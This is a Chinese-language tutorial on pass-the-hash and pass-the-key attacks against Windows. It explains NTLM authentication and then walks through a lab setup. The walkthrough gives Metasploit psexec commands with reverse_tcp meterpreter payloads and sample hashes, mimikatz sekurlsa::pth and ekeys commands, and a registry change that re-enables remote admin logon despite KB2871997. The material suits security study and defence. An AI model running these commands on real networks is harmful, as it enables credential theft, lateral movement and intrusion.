0x01、Pass-the -hash概述
NTLM Hash驗證過程
1.用戶輸入username、password、domainname(交互式才需要這個步驟),客戶端會計算hash值保存在本地;
2.客戶端將username明文發給DC;
3.DC生成一個16Byte的隨機數(challenge)發送給客戶端;
4.客戶端通過運算生成一個響應值response=f(hashes,challenge,other)=>other根據版本變化,例如時間戳來防止回訪等;
5.客戶端將響應值發送給DC;
6.DC經過同樣的運算result = f(hashes,challenge,other),然后比較result和response,一直就驗證通過,不一致則驗證不通過;
7.備注:目標不一定是DC,hash對應的賬號所登錄的(有緩存的)工作站也可以。
我們可以看看工作組中和域環境中的NTLM認證過程
第三步的對比,發現工作組和域環境的認證方式都是一樣的
客戶端收到服務端返回的 TYPE 2 消息, 讀取出服務端所支持的內容,並取出其中的隨機值Challenge,用緩存的服務端的密碼的NTLM-Hash對其進行加密,並與用戶名、Challenge等一起組合得到 Net-NTLMHash,最后將Net NTLM-Hash封裝到 NTLM_AUTH 消息中(被稱為 TYPE 3 消息, Authenticate認證消息),發往服務端
唯一的不同,就是域環境下多了4和5兩個步驟
第四個步驟:
服務器接收到客戶端發送來的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,並向DC域控(Domain Control)發送針對客戶端的驗證請求。該請求主要包含以下三方面的內容:客戶端用戶名、原始的Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
第五個步驟:
DC根據用戶名獲取該帳號的密碼哈希值 NTLM-Hash,用密碼哈希值 NTLM-Hash 對原始的Challenge進行加密得到Net NTLM-Hash。如果加密后的Challenge和服務器發送的一致,則意味着用戶擁有正確的密碼,驗證通過,否則驗證失敗。DC將驗證結果發給服務器。
但是在工作組的環境下也是這樣,目標不一定是DC,hash對應的賬號所登錄的(有緩存的)工作站也可以。
所以,域環境和工作組環境下都可以使用NTLM hash傳遞攻擊
從而我們可以通過第一步,進行偽造;為什么呢?
相信大家大部分都是web狗,我就以登陸網址為例子
哈希傳遞攻擊是基於NTLM認證的一種攻擊方式。哈希傳遞攻擊的利用前提是我們獲得了某個用戶的密碼哈希值,但是解不開明文。這時我們可以利用NTLM認證的一種缺陷,利用用戶的密碼哈希值來進行NTLM認證。在域環境中,大量計算機在安裝時會使用相同的本地管理員賬號和密碼。因此,如果計算機的本地管理員賬號密碼相同,攻擊者就能使用哈希傳遞攻擊登錄內網中的其他機器。
0x02、hash傳遞攻擊實操
在工作組環境中:
- Windows 2003和之前的機器,可以使用本地管理員組內用戶進行攻擊。
- Windows 2003 之后的機器,只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。
在域環境中:
- 只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一台機器。
1、msf進行hash傳遞攻擊
有些時候,當我們獲取到了某台主機的 administrator
用戶的密碼哈希值 ,並且該主機的445端口打開着。我們則可以利用 exploit/windows/smb/psexec 模塊用MSF進行遠程登錄(哈希傳遞攻擊)。這個是rhost可以是一個主機,也可以設置一個網段。
這里目標主機的Windows Vista之后的機器,所以只能使用administrator用戶進行攻擊。
(一)、工作組環境
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #這里LM和NTLM我們已經獲取到了
msf exploit(psexec) > exploit
(二)、域環境
當我們獲取到了域管理員組內用戶的密碼哈希值 ,並且該主機的445端口打開着。我們則可以利用 exploit/windows/smb/psexec
模塊用MSF進行哈希傳遞攻擊。
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test #test用戶在域管理員組內,注意這里不需要寫域前綴
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit
2、mimikatz進行hash傳遞
privilege::debug #先提權
#使用administrator用戶的NTLM哈希值進行攻擊
sekurlsa::pth /user:用戶名 /domain:目標機器IP /ntlm:密碼哈希
(一)、工作組
(二)、域環境
這時候使用下面這條命令查看是否有權限
dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$
0x03、Pass The Key
當機器打了KB2871997
補丁之后,我們發現使用域管理員組內無法進行hash傳遞攻擊,但是administrator賬號(sid為500)例外;不管administrator賬號怎么修改,或者新增的管理員賬號,sid為500,即可進行hash傳遞攻擊
要求前提:
- 域環境下
- 安裝了
KB2871997
補丁
privilege::debug #提升權限
sekurlsa::ekeys #抓取aes秘鑰
#aes-256傳遞
sekurlsa::pth /user:用戶名 /domain:域名 /aes256:
#aes-128傳遞
sekurlsa::pth /user:用戶名 /domain:域名 /aes128:
#使用AES-256進行Key傳遞攻擊
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128進行Key傳遞攻擊
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e
0x04、KB2871997補丁怎么回事?
其實 KB2871997 的補丁並沒有多大的用處,由於在 Windows Vista 時代,微軟就通過將LocalAccountTokenFilterPolicy 值默認設置為 0 來禁止非administrator賬號的遠程連接(包括哈希傳遞攻擊),但是administrator用戶不受影響。即使目標主機更新了KB2871997的補丁,仍然可以使用PID=500的用戶進行哈希傳遞攻擊,而 PID=500 的用戶默認為 aministrator,所以仍然可以使用administrator用戶進行哈希傳遞攻擊。並且在打了KB2871997 補丁的機器上,通過將LocalAccountTokenFilterPolicy設置為1,也還是可以使用普通管理員賬號進行哈希傳遞攻擊
實驗
- Windows Server 2008R2:192.168.10.20
- 域管理員:administrator 、 xie
未打 KB2871997 補丁前,使用 administrator 賬號可以成功進行哈希傳遞攻擊,使用管理員賬號 xie 無法進行哈希傳遞攻擊。
打上 KB2871997 補丁后,使用 administrator 賬號依然可以成功進行哈希傳遞攻擊,使用管理員賬號 xie 無法進行哈希傳遞攻擊。
將 administrator 賬號重命名為 admin 賬號后,由於不存在 administrator 賬號了,所以無法使用administrator 賬號進行哈希傳遞攻擊,但是可以使用 admin 賬號緊進行哈希傳遞攻擊,因為 admin 賬號的SID值為 500。
修改目標機器的 LocalAccountTokenFilterPolicy 為1后,使用普通域管理員賬號 xie 也可進行哈希傳遞攻擊。
修改 LocalAccountTokenFilterPolicy 為1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
恢復 LocalAccountTokenFilterPolicy 為0 (刪除后需要重啟 explorer.exe 才能使修改生效)
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f